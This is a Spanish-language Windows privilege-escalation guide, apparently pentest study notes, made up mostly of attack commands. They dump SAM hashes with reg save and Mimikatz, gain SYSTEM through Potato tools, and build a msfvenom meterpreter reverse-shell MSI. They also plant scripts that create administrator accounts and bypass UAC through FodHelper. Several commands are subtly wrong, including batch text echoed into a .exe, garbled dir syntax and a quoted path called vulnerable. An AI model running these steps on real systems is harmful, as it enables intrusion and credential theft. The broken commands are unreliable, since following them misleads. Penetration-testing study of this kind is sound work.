Windows Privilege Escalation - Guía Completa

1. Introducción

La escalada de privilegios en Windows consiste en obtener acceso a nivel SYSTEM o Administrador partiendo de un usuario con privilegios limitados. Esta guía cubre desde la enumeración inicial hasta técnicas avanzadas.


2. Enumeración Inicial

2.1. Información del Sistema

# Sistema
systeminfo
Get-ComputerInfo

# Usuario y privilegios
whoami
whoami /priv
whoami /groups

# Domain / Workgroup
net config workstation
nltest /dsgetdc:DOMAIN (si hay dominio)

2.2. Enumeración Básica

REM CMD
whoami
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"

REM Usuarios y grupos
net user
net localgroup
net localgroup Administrators

REM Versión de parches (Hotfixes)
wmic qfe get Caption,Description,HotFixID,InstalledOn

Otros comandos básicos:

REM Procesos
tasklist /svc
tasklist /V

REM Scheduled Tasks
schtasks /query /fo LIST /v

REM Variables de entorno
set

REM Unidades
fsutil fsinfo drives

REM Puertos y conexiones
netstat -anob

3. Búsqueda de Archivos Sensibles

Buscar configuraciones, credenciales y archivos interesantes:

REM Archivos de configuración
dir /s *pass* == *cred* == *config* == *secret* == *.kdbx == *.rdp *.txt == *.config == *.xml == *.ini %USERPROFILE%
dir /s *pass* == *cred* == *secret* %PROGRAMDATA%
dir /s *pass* == *cred* == *secret* %SYSTEMDRIVE%\

REM Directorios Notables
dir "C:\Program Files\" /A:D
dir "C:\Program Files (x86)\" /A:D
dir "C:\Users\"

4. Windows Services (Grupos y Servicios)

4.1. Grupos Privilegiados en Windows

Grupo Descripción Permiso
Administrators Acceso total Administración completa
Backup Operators Copias de seguridad Restaurar/buscar archivos
Remote Desktop Users Acceso remoto Conexión RDP
Server Operators Servidores DC Configurar servicios
Account Operators Cuentas DC Modificar usuarios
Print Operators Impresoras DC Parar/iniciar impresoras
Hyper-V Administrators Máquinas virtuales Acceso a VMs
Event Log Readers Registros Leer logs de eventos

Backup Operators:

robocopy /b C:\Users\Administrator\Desktop C:\exfiltracion\ /E
sebackupprivilege

4.2. Servicios con Permisos Incorrectos

REM Listar servicios y sus permisos (con accesschk)
accesschk.exe -uwcqv "Usuarios autentificados" *

REM Propietarios y binarios de servicios
icacls "C:\Archivos de programa\servicio.exe"
sc qc nombre_servicio

REM Buscar directorios de servicios donde los usuarios autentificados / normal tengan privilegios de escritura
icacls "C:\Archivos de programa\"

Si un servicio usa un binario donde nuestro usuario o grupo tiene permisos de escritura:

REM Reemplazar el binario
echo @echo off > C:\Program Files\Servicio\servicio.exe
echo net user nuevo Usuario123! /add >> C:\Program Files\Servicio\servicio.exe
echo net localgroup Administrators nuevo /add >> C:\Program Files\Servicio\servicio.exe

REM Reiniciar el servicio
sc stop nombre_servicio
sc start nombre_servicio

4.3. Servicios sin Ruta Absoluta

Si la ruta al binario del servicio no está entre comillas:

sc qc nombre_servicio
REM "C:\Program Files\Servicio\servicio.exe" → vulnerable
REM C:\Program.exe será ejecutado

4.4. Servicios Detenidos

sc query state= inactive
wmic service get name,displayname,pathname,startmode | findstr "Auto" | findstr /v "Running"

Servicios detenidos que se inician manualmente:

sc start nombre_servicio

5. Tokens y Privilegios

5.1. Enumerar Privilegios

whoami /priv

5.2. Privilegios Clave

Privilegio Descripción Uso Explotación
SeBackupPrivilege Backup archivos robocopy /b
SeRestorePrivilege Restaurar archivos Sobrescribir archivos
SeTakeOwnershipPrivilege Tomar propiedad Acceder a archivos
SeImpersonatePrivilege Impersonar JuicyPotato, RoguePotato
SeAssignPrimaryToken Token primario Incognito
SeLoadDriverPrivilege Cargar drivers Instalar driver malicioso
SeCreateServicePrivilege Crear servicios Nuevo servicio SYSTEM
SeDebugPrivilege Debug procesos Inyectar en procesos

5.3. JuicyPotato / RoguePotato

SeImpersonatePrivilege
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami" -t *

5.4. PrintSpoofer / GodPotato

PrintSpoofer.exe -i -c powershell.exe
GodPotato.exe -cmd "cmd /c whoami"

6. Credenciales y Hashes

REM SAM
reg save hklm\sam sam
reg save hklm\system system

REM Mimikatz
mimikatz.exe privilege::debug token::elevate lsadump::sam exit

REM Group Policy (SYSVOL)
findstr /si password \\DOMINIO\SYSVOL\*.xml
findstr /si password *.xml *.txt *.ini

7. Kernel Exploits

systeminfo
# Buscar exploits para el parche:
wmic qfe get Caption,Description,HotFixID,InstalledOn
# Windows Exploit Suggester
wesng.py systeminfo.txt

8. AlwaysInstallElevated

Si la clave de registro está habilitada:

reg query HKCU\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\Software\Policies\Microsoft\Windows\Installer
msfvenom -p windows/x64/meterpreter/reverse_tcp -f msi -o roto.msi
msiexec /quiet /qn /i roto.msi

9. Unquoted Service Paths

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\\Windows\\" |findstr /i /v "\""
sc qc nombre_servicio
icacls "C:\Program Files\"
# Si es escribible → colocar una reverse shell como objetivo

10. Startup Applications

# Buscar directorios de inicio escribibles
dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"

# Si podemos escribir aquí → meter un .bat / .vbs / exe que genere un nuevo usuario admin
echo @echo off > "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.bat"
echo net user hacker Hacker123! /add >> "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.bat"
echo net localgroup Administradores hacker /add >> "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.bat"

11. DLL Hijacking

# Buscar carpetas del PATH escribible/writable
icacls C:\Windows\System32\
icacls C:\Windows\
icacls C:\Archivos de programa\

# Procesmon para detectar ejecución que falla al buscar DLL
# Se lleva a la carpeta escribible del PATH

12. Escalada con Servicios

Puede comprobarse si el usuario tiene permisos para modificar o administrar un servicio:

secedit /export /cfg C:\export.cfg
type C:\export.cfg

13. Escalada por Named Pipes

Named Pipes es útil si logramos una comunicación entre procesos de distinto nivel.


14. UAC Bypass (Elevación Local)

# FodHelper
reg add HKCU\Software\Classes\ms-settings\shell\open\command /d C:\Windows\System32\cmd.exe /f
reg add HKCU\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_DWORD /f

15. Registro

# AutoRun de usuarios
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

16. Scripts Automáticos de Enumeración

Sherlock:

powershell -ExecutionPolicy Bypass
Import-Module .\Sherlock.ps1
Find-AllVulns

PowerView:

Get-NetUser
Get-NetGroup

Seatbelt:

Seatbelt.exe -group=all

17. Checklist

  1. whoami /all — ¿privilegios? (SeImpersonate, SeDebug, etc.)
  2. systeminfo — SO, arquitectura, hotfixes
  3. wmic service get — Servicios (always install elevated / unquoted paths / binarios escribibles)
  4. accesschk /accepteula -uwcqv "Usuarios autentificados" * — Permisos de servicios
  5. icacls "C:\Archivos de programa" — ¿Escribible? (DLL hijacking o .exe)
  6. reg query — AlwaysInstallElevated, Run, AutoRun
  7. tasklist /SVC — Procesos y servicios
  8. Buscar archivos con credenciales

Referencias